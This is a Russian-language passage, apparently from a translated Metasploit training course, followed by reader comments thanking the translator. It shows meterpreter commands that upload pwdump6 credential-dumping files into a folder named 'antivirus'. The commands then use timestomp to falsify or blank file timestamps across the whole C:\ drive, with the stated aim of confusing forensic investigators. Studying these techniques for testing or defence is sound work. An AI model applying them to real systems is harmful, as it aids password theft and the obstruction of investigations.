[*] uploaded : /pentest/windows-binaries/passwd-attack/pwdump6/LsaExt.dll -> c:WINNTantivirusLsaExt.dll [*] uploading : /pentest/windows-binaries/passwd-attack/pwdump6/pwservice.exe -> c:WINNTantiviruspwservice.exe [*] uploaded : /pentest/windows-binaries/passwd-attack/pwdump6/pwservice.exe -> c:WINNTantiviruspwservice.exe meterpreter > ls Listing: C:\WINNT\antivirus =========================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 . 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 .. 100666/rw-rw-rw- 61440 fil Wed Dec 31 19:00:00 -0500 1969 LsaExt.dll 100777/rwxrwxrwx 188416 fil Wed Dec 31 19:00:00 -0500 1969 PwDump.exe 100777/rwxrwxrwx 45056 fil Wed Dec 31 19:00:00 -0500 1969 pwservice.exe 100666/rw-rw-rw- 27 fil Wed Dec 31 19:00:00 -0500 1969 sample.txt meterpreter > cd .. Для того, чтобы запутать следователя, к только что закаченным файлам применим timestomp. meterpreter > timestomp antiviruspwdump.exe -v Modified : Sun May 03 05:35:56 -0400 2009 Accessed : Sun May 03 05:35:56 -0400 2009 Created : Sun May 03 05:35:56 -0400 2009 Entry Modified: Sun May 03 05:35:56 -0400 2009 meterpreter > timestomp antivirusLsaExt.dll -v Modified : Sun May 03 05:35:56 -0400 2009 Accessed : Sun May 03 05:35:56 -0400 2009 Created : Sun May 03 05:35:56 -0400 2009 Entry Modified: Sun May 03 05:35:56 -0400 2009 meterpreter > timestomp antivirus -r [*] Blanking directory MACE attributes on antivirus meterpreter > ls [-] Error running command ls: bignum too big to convert into `long' /pentest/exploits/framework3/lib/rex/post/file_stat.rb:66:in `at'/pentest/exploits/framework3/lib/rex/post/file_stat.rb:66:in `mtime'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb:237:in `cmd_ls'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb:230:in `each'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb:230:in `cmd_ls'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/pentest/exploits/framework3/lib/rex/post/meterpreter
Как вы можете видеть, Meterpreter больше не получить листинг каталога. Тем не мене есть еще кое-что, на что следует обратить внимание в данном случае. Мы скрыли дату изменения файлов в каталоге, в который загружали файлы, но все равно для следственных органов, остается очевидна подозрительная деятельность в нашем каталоге. Что бы нам сделать, чтобы скрыть дату обращения как к самому инструментарию, так и к каталогу, куда он был загружен?
Самый простой способ это обнулить дату обращения на всем диске. Это очень затруднит работу следователя, так как традиционный анализ даты обращения к файлу не представляется возможным. Для начала, давайте рассмотри директорию WINNT\system32.
Все выглядит хорошо. Теперь встряхнем файловую систему.
meterpreter > pwd C:WINNTantivirus meterpreter > cd ../.. meterpreter > pwd C: meterpreter > ls Listing: C:\ ============ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100777/rwxrwxrwx 0 fil Wed Dec 31 19:00:00 -0500 1969 AUTOEXEC.BAT 100666/rw-rw-rw- 0 fil Wed Dec 31 19:00:00 -0500 1969 CONFIG.SYS 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 Documents and Settings 100444/r--r--r-- 0 fil Wed Dec 31 19:00:00 -0500 1969 IO.SYS 100444/r--r--r-- 0 fil Wed Dec 31 19:00:00 -0500 1969 MSDOS.SYS 100555/r-xr-xr-x 34468 fil Wed Dec 31 19:00:00 -0500 1969 NTDETECT.COM 40555/r-xr-xr-x 0 dir Wed Dec 31 19:00:00 -0500 1969 Program Files 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 RECYCLER 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 System Volume Information 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 WINNT 100555/r-xr-xr-x 148992 fil Wed Dec 31 19:00:00 -0500 1969 arcldr.exe 100555/r-xr-xr-x 162816 fil Wed Dec 31 19:00:00 -0500 1969 arcsetup.exe 100666/rw-rw-rw- 192 fil Wed Dec 31 19:00:00 -0500 1969 boot.ini 100444/r--r--r-- 214416 fil Wed Dec 31 19:00:00 -0500 1969 ntldr 100666/rw-rw-rw- 402653184 fil Wed Dec 31 19:00:00 -0500 1969 pagefile.sys meterpreter > timestomp C:\ -r [*] Blanking directory MACE attributes on C:\ meterpreter > ls [-] Error running command ls: bignum too big to convert into `long' /pentest/exploits/framework3/lib/rex/post/file_stat.rb:66:in `at'/pentest/exploits/framework3/lib/rex /post/file_stat.rb:66:in `mtime'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb:237:in /lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/pentest/exploits/framework3/lib/rex/ui/text/shell.rb:127:in `run'./msfconsole:82
Итак, после всего этого, как себя чувствует Windows?
Изумительно. Windows не имеет понятия, что происходит, и отображает просто сумасшедшие даты повсюду.
Уже седьмая часть перевода курсов и ни одного комментария по качеству перевода и стоит ли переводить дальше :)Обращаюсь к тем кто все это читает, помимо меня, если есть исправления предлагайте, будем переводить вместе ;)
Отличные статьи (перевод), читаю запоем, не могу оторваться.
Зачет и медаль тому человеку, кто все это делает.
Отлично, благодарю за отзыв, буду продолжать переводить :)
Чувак респект тебе за твой статьи очень интересно мне понравилось очень продолжай в том же духе, я давно искал подобное большое спасибо.
Огромный РЕСПЕКТ автору !!!!!!!!!!
Перевод мануала отличный, ждём продолжения….